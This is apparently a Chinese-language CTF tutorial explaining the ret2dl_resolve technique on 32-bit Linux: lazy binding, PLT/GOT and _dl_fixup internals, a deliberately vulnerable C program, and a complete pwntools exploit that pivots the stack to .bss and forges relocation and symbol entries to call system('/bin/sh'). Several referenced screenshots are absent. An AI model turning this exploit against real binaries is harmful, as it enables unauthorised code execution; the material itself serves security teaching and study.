前言

ret2dl_resolve是linux下一種利用linux系統延時綁定(Lazy Binding)機制的一種漏洞利用方法,其主要思想是利用_dl_runtime_resolve()函數寫GOT表的操作,改寫寫入GOT的內容,使其成爲getshell的函數值。

背景知識

在瞭解利用方法之前必須對延時綁定機制詳細瞭解。其具體的方法可以參照《程序員的自我修養——鏈接、裝載與庫》一書7.4節。

爲了實現少量時間換取大量空間以及方便程序維護的目的,Linux中大量程序拋棄了靜態鏈接的方式,轉而投向動態鏈接 的懷抱。但是由於在程序在運行中不需要動態共享庫(.so文件)中的所有函數,所以很多函數自始至終是沒有被使用過的。如果一股腦將動態共享庫中所有函數都裝載進程序的運行空間,這是十分消耗資源的。於是爲了節省資源,Linux在程序第一次調用函數時纔會將其裝載程序。

這裏用到了PLT表的結構,細心的小夥伴可能注意過,PLT表中每個函數的第一項都是一個jmp至GOT表的操作。那麼這個PLT的作用又是什麼呢,爲什麼不直接使用GOT表呢。在jmp指令下面,還有push和另一個jmp指令,這些指令又是爲什麼存在在這裏呢。

首先看圖,此程序是運行在linux下的32位程序,此時的程序的狀態是剛剛進入main函數,還未對write函數進行調用:

這便是一個程序中PLT表write函數對應表項的內容。此時第一條指令跳轉的目的地便是GOT表中write函數對應的表項,查看這個地址中的內容:

可以看到,實際上GOT表中在一開始時,並沒有存放函數的真實地址,而是原來PLT表write函數對應表項中push 0×20指令的位置,也就是說,當函數第一次調用write函數時,實際上並未直接到底libc中write函數的真正地址,而是繞了一圈回到了PLT表中,將0×20壓入棧中,之後跳轉至0×8048380處。

在這裏,程序又將一個參數壓棧,然後跳轉至0x804a008處,而這個地址中的函數便是_dl_runtime_resolve()函數。

而之前壓入棧中的兩個參數便會作爲參數供_dl_runtime_resolve()函數調用:_dl_runtime_resolve(link_map, reloc_arg),而其中最重要的函數便是_dl_fixup函數,這裏的0×20便是reloc_arg,也就是我們在漏洞利用中需要注意控制的內容。

這裏0×20的含義是什麼呢?這裏的0×20偏移是指與.rel.plt表的偏移,readelf -S binary 可以查看ELF文件中段信息。

這裏的0×20的偏移處便是reloc的位置

裏面兩條信息,一個是write的GOT表,另一個下面分析:

查看下_dl_fixup函數的內容:

_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    // 首先通過參數reloc_arg計算重定位入口,這裏的JMPREL即.rel.plt,reloc_offset即reloc_arg
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 然後通過reloc->r_info找到.dynsym中對應的條目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 這裏還會檢查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    // 接着通過strtab+sym->st_name找到符號表字符串,result爲libc基地址
    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value爲libc基址加上要解析函數的偏移地址,也即實際地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    // 最後把value寫入相應的GOT表條目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

函數中遇到了reloc結構體中的r_info,也就是reloc中的0×607,這裏低字節的0×07表示R_TYPE,只要是7便好,而高字節的0×6則是R_SYM,是用來找到.dynsym中的條目的。這裏的6代表了偏移:

這裏的write的Num爲6,而找到這個地址的方法就是利用.dynsym的地址加上0×10*Num:

這裏便是write對應的符號信息,此符號信息有結構體的定義

typedef struct
{
    Elf32_Word st_name;     // Symbol name(string tbl index)
    Elf32_Addr st_value;    // Symbol value
    Elf32_Word st_size;     // Symbol size
    unsigned char st_info;  // Symbol type and binding
    unsigned char st_other; // Symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
} Elf32_Sym;

圖中的0x4c便是st_name,而0×12便對應了st_info。那麼st_name爲什麼是個數字呢。實際上,0x4c也是一個偏移,他是相對於.dynstr段的偏移。

最後,_dl_fixup函數會利用 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); 最終實現調取libc中的write地址:

而ret2dl_resolve就是修改reloc的偏移,構造fake_reloc和fake_Elf32_Sym,使其指向任意的函數。

漏洞利用方法

現在總結下上述知識和漏洞利用方法。

_dl_runtime_resolve()通過兩個參數在libc中尋找函數地址,而我們更加關注的是第二個參數也就是上面write的0×20,0×20將_dl_runtime_resolve()帶到了reloc的位置,reloc中有2個重要信息,一個是函數的got表地址,另一個是r_info。r_info的高位是.dynsym中的條目,.dynsym的地址加上0×10*Num,得到函數對應的符號信息,而修改其中的st_name偏移,就可以僞造函數名稱,從而實現漏洞利用,我們將其過程反過來,根據漏洞利用順序,實現漏洞利用:

1、在一個地址上寫入”system”;

2、僞造reloc,其中r_info根據.dynsym+0×10*NUM = address of(Elf32_Sym ),計算出r_info;

3、僞造Elf32_Sym ,其中st_name爲.dynstr+st_name = address of(“system”);

4、調用dl_runtime_resolve()的參數,修改其參數,使其指向僞造的reloc。

漏洞利用實例

首先,先看一個簡單的ret2dl_resolve類型題目源碼:

//gcc -m32 -fno-stack-protector -no-pie bof.c -o test
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
        char buf[100];
        setbuf(stdin, buf);
        read(0, buf, 256);
}
int main()
{
        char buf[100] = "ret2dl_resolve\n";
        setbuf(stdout, buf);
        vuln();
        return 0;
}

這一題目開啓了NX,關閉了其他保護,在沒有leak函數的情況下,可以通過爆破GOT表上的libc進行漏洞利用,當然,這裏就可以利用ret2dl_resolve進行漏洞利用了。根據我們上面的分析,開始構造吧

在一個地址上寫入”system”

由於我們需要一個不變的地址,所以,我們需要在bss段上填寫這一數據,所以,我們將棧遷移至bss段上,這裏,我們還要考慮後續還要read。

利用棧溢出,ROP,開始遷移棧,常規操作:

pop_ebp = 0x080485bb # pop ebp ; ret
ppp = 0x080485b9 # pop esi ; pop edi ; pop ebp ; ret
leave = 0x08048405 # leave ; ret

bss = 0x0804A020

payload = "A"*0x70
payload += p32(bin.plt['read']) + p32(ppp)
payload += p32(0)+p32(bss)+p32(0x100)
payload += p32(pop_ebp)+p32(bss)+p32(leave)

sl(payload)

遷棧成功,我們再在bss段上寫入ROP,並開始下一步工作。

因爲我們的ROP中有read函數,所以就可以在bss段中寫入system。所以,我們接下來將程序流程指向plt表中的最後一條指令,即_dl_runtime_resolve()的GOT表,也就是最後一步,執行_dl_runtime_resolve()。

payload2 = "AAAA"
payload2 += p32(0x804835B) + p32(reloc_arg)
payload2 += (......)
payload2 += 'system'

僞造reloc

構建reloc,第一項是read的GOT表,第二項是r_info

reloc = p32(bin.got['read'])+p32(r_info)

計算r_info中偏移:

r_info = (((address of (Elf32_Sym) - 0x80481cc)/0x10) << 8 )+0x7

僞造Elf32_Sym:

查看.dynstr位置

之後,構造Elf32_Sym

r_name = address of ("system") - 0x804824c
Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0)

調用dl_runtime_resolve()

總結一下,上述的情況:

r_name = address of ("system") - 0x804824c
Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0) 

r_info = (((address of (Elf32_Sym) - 0x80481cc)/0x10) << 8 )+0x7
reloc = p32(bin.got['read'])+p32(r_info)

payload2 = p32(0x804835B) + p32(reloc_arg)
payload2 += (......)
payload2 += 'system'

那麼只需要確認上述的幾個地址即可,將其安排下去:

r_name = address of ("system") - 0x804824c
Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0) 

r_info = (((address of (Elf32_Sym) - 0x80481cc)/0x10) << 8 )+0x7
reloc = p32(bin.got['read'])+p32(r_info)

payload2 = "AAAA"
payload2 += p32(0x804835B) + p32(reloc_arg)
payload2 += "AAAA"
payload2 += p32(address of "/bin/sh")
payload2 += reloc
payload2 += Elf32_Sym
payload2 += 'system\x00'
payload2 += '/bin/sh\x00'

那麼此時,system的地址爲 bss+13*4 ,而Elf32_Sym的地址爲 bss+8*4 ,/bin/sh的地址爲 bss+13*4+7

得到:

r_name = bss+13*4 - 0x804824c
Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0) 

r_info = (((bss+8*4 - 0x80481cc)/0x10) << 8 )+0x7
reloc = p32(bin.got['read'])+p32(r_info)

payload2 = "AAAA"
payload2 += p32(0x804835B) + p32(reloc_arg)
payload2 += "AAAA"
payload2 += p32(bss+13*4+7)
payload2 += reloc
payload2 += Elf32_Sym
payload2 += 'system\x00'
payload2 += '/bin/sh\x00'

查看.rel.plt位置

所以reloc_arg=bss+5*4 – 0x80482f4

最後,得到全部exp:

#coding=utf-8

##########################################################################
# File Name: pwn_exp.py
# Author: sofr
# mail: [email protected]
# Created Time: Wed Apr  1 10:24:12 2020
#########################################################################

from pwn import *
import sys
context.log_level = 'debug'

r = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sf = lambda x,y:p.sendafter(x,y)
slf = lambda x,y:p.sendlineafter(x,y)
l32_addr = lambda x:u32(x.ljust(0x4,'\x00'))
drop_end = lambda x,y:x.split(y)[0]
getshell = lambda :p.interactive()

binary='./boo'

global p
bin = ELF(binary)

if len(sys.argv) > 1:
    p=remote(sys.argv[1],int(sys.argv[2]))
else:
    p=process(binary)

pop_ebp = 0x080485bb
ppp = 0x080485b9
leave = 0x08048405

bss = 0x0804A020+0x800

payload = "A"*0x70
payload += p32(bin.plt['read']) + p32(ppp)
payload += p32(0)+p32(bss)+p32(0x100)
payload += p32(pop_ebp)+p32(bss)+p32(leave)

sl(payload)

reloc_arg=bss+5*4 - 0x80482f4
r_name = bss+13*4 - 0x804824c
Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0)

r_info = (((bss+8*4 - 0x80481cc)/0x10) << 8 )+0x7
reloc = p32(bin.got['read'])+p32(r_info)

payload2 = 'AAAA'
payload2 += p32(0x804835B) + p32(reloc_arg)
payload2 += 'AAAA'
payload2 += p32(bss+13*4+7)
payload2 += reloc
payload2 += Elf32_Sym
payload2 += 'system\x00'
payload2 += '/bin/sh\x00'
sl(payload2)

getshell()

getshell:

相關文章